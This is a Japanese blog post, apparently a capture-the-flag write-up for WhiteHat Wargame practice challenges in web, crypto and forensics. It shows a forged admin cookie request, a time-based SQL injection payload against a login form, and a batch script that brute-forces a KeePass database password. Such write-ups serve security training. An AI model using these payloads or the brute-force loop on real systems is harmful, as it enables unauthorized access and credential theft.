http80

Web security research

WhiteHat WARGAME CHALLENGEのWriteup

WhiteHat WARGAME Challenge 01開催前のChallengeにいくつか問題があったので解いてみました。コンテストの問題ではありません。Challenge 01開催と同時に問題が見えなくなった(終わっちゃった?)ので問題文は今は見れないです。

本チャンのChallenge 01はHarekazeで出ましたが、私は私用で時間が取れず、flagも取れず……チームメンバに感謝っ・・・・!圧倒的感謝っ・・・・!

下記はHarekazeのWriteupです。 

st98.github.io

furutsuki.hatenablog.com

nkhrlab.hatenablog.com

  

●Web001

HTMLソースの最終行にコメントアウトされていました。

f:id:reinforchu:20170227084146p:plain

WhiteHat{f6faf5e94db80f28e0ce18a1d8599c16ab1b3c1c}

おわり。

 

●Web002

HTMLソースにヒントがコメントアウトされています。

f:id:reinforchu:20170227084531p:plain

<!-- You can find it, but search engines can not --> なので、robots.txtっぽい。

http://lab10.wargame.whitehat.vn/web002/robots.txt にアクセスします。

f:id:reinforchu:20170227084607p:plain

Textファイルが見えました。http://lab10.wargame.whitehat.vn/web002/protected/s3cr37.txt にアクセスします。f:id:reinforchu:20170227084653p:plain

WhiteHat{f3c3b1dd80fe22038857661a75db31612bf3695c}

当たり。

 

●Web003

HTMLソースにtest/testとあるので、それでログインを試みます。

f:id:reinforchu:20170227085128p:plain

f:id:reinforchu:20170227085202p:plain

f:id:reinforchu:20170227085211p:plain

adminじゃないよ、と怒られました。同時にuserというcookieが発行されます。

f:id:reinforchu:20170227085401p:plain

javascript:alert(document.cookie)

adminに変えちゃいましょう。

GET /web003/index.php HTTP/1.1

Host: lab10.wargame.whitehat.vn

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:53.0) Gecko/20100101 Firefox/53.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: ja,en-US;q=0.7,en;q=0.3

Cookie: user=admin

Connection: close

Upgrade-Insecure-Requests: 1

f:id:reinforchu:20170227085624p:plain

WhiteHat{c626978503a7feafab95edeb084be0a35271c754}

すごーい!

 

●Web004 (未完)

HTMLソースを見るとJSF*ckです。jQueryも使われているようです。

f:id:reinforchu:20170227090034p:plain

デコーダがあるようなので、まずはデコード。

f:id:reinforchu:20170227090230p:plain

もう二山くらい頑張らないとダメそう。Developer Tools使う感じかな。

 

●Web005 (未完)

ログイン画面です。SQLインジェクションで探ってると、sleep関数が刺さった。

POST /web005/index.php HTTP/1.1
Host: lab10.wargame.whitehat.vn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ja,en-US;q=0.7,en;q=0.3
Referer: http://lab10.wargame.whitehat.vn/web005/index.php
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 64

 

uname='%2b(select*from(select(sleep(5)))a)%2b'&pass=&Login=Logina 

ログインのバイパスだと思うので、あとは'A'='A'--とかやるだけ。(やれ)

※Web006もパラメータ見てるとQueryStringのidにSQLインジェクションができそう。

 

●Crypto001

CipherがROT-nっぽいので総当りの結果、ROT 6でWhiteHatと読めたので、自家製ツールに放り投げました。

f:id:reinforchu:20170227091555p:plain

WhiteHat{52915a4731522b93613f74a52d26f6a62ac8c5bd}

正解!

自家製ツールの詳細は過去記事をどうぞ。

xss.hateblo.jp

 

●For002

pcapファイルが配布されました。まずはwhitehatで検索かけてみました。

f:id:reinforchu:20170227092928p:plain

http://lab40.wargame.whitehat.vn/for002/stark_4bf8125fc8eae262a9e9842611ade67a.kdb といういかにも怪しいURL出てきました。落ちてきたkdbというファイルは、どうやらKeePassというパスワード管理ツールのDBらしい。(いわゆる1Password)

kdbのパスワードをCrackしろっということだと思うんですが、もうちょっと情報が欲しい。URLを含むパケット見てると、どうやらYahoo! Messengerのやり取りのようです。TCPストリームを追跡して会話の流れを追います。

f:id:reinforchu:20170227094123p:plain

会話をかいつまむと、

ここにkdbファイルおいたよ(上記URL)→パスワード分からん→あれだよ、数字5桁のやつ(the 5-digits number that we talk about all the time.)→なるほどサンキュー確認するよ

とのことです。つまり、kdbのパスワードは数字5桁。なるほどブルートフォースですね。調べるとjohnkeepass2johnが同梱されているのでこれを使う。だったんだけど、上手くいかず。いろんな総当りツールを試しても、kdbのバージョン(1.xと2.x)によって動かなかったので、視点を変えてCUIツールで代用しました。kpcliというコマンドラインで操作するツールがあるので、これでWindowsバッチファイル書いて総当りしました。

@ECHO OFF 

for /L %%i in (10000,1,99999) do (

  TYPE NUL> pw.txt

  ECHO %%i

  ECHO %%i> pw.txt

  kpcli-3.1 --kdb stark_4bf8125fc8eae262a9e9842611ade67a.kdb --pwfile pw.txt

)

パスワードは10000〜99999だろうという決め打ちの酷いスクリプトですが、一応総当り出来てます。単発だとVM環境のi7 2.6GHz(4C/4T)で2時間強で回りきります。単発では待ってられんので、並列で5000か10000区切りで計算機の暴力で殴りました。

※00000〜09999だった場合、頭に0を付けてあげるように書き換えればいいだけです。

※kpcli -helpでヘルプを見ると、--pwfilesという引数がありますが、この引数だとそんな引数ないと怒られました。手探りで探すと正しくは--pwfileのようです。

f:id:reinforchu:20170227101723p:plain

総当りの結果、「61930」でパスワードがマッチしたのでこれが正解です。

※お手元でやりたい場合、FOR文を for /L %%i in (61920,1,99999) に変えて実行するとすぐ結果が得られます。素直にjohnでやった方がいいですが……

f:id:reinforchu:20170227102959p:plain

開くと、http://lab40.wargame.whitehat.vn/for002/4fad5214bb6d00b11565fa63af289b02/ の認証情報が見えました。アクセスします。

f:id:reinforchu:20170227103250p:plain

f:id:reinforchu:20170227103756p:plain

64個のWordファイルがずらーっと出てきました……ドキュメントの内容は何かのPublishのようです。おそらくこれらのどれかにflagがありそう。全部ダウンロードします。

とりあえず、flagかWhiteHatでgrepしてみます。

f:id:reinforchu:20170227105057p:plain

きな臭いのが出てきました。「High-Speed Rail, Regional Economics.docx」をバイナリエディタで確認します。

f:id:reinforchu:20170227111959p:plain

docProps/flag.xml というのが見えました。これっぽいですね。.docx XMLのフォーマットを採用しており、アーカイバで中身を展開できます。なので、展開してみます。

f:id:reinforchu:20170227112812p:plain

/docProps

f:id:reinforchu:20170227112826p:plain

flag.xml がいました。開きます。

f:id:reinforchu:20170227112937p:plain

WhiteHat{1a4df3727f5ed3af27f2ff21beb3e0a5b6bc4321}

すごーい!きみはフォレンジックが得意なフレンズなんだね

kdbのパスワードが数字5桁だったのと、/word/mediaの中の壊れた画像ファイルにflagが……のパターンではなくて良かった。

500ptだったので、ランキングがめっちゃ上がりました。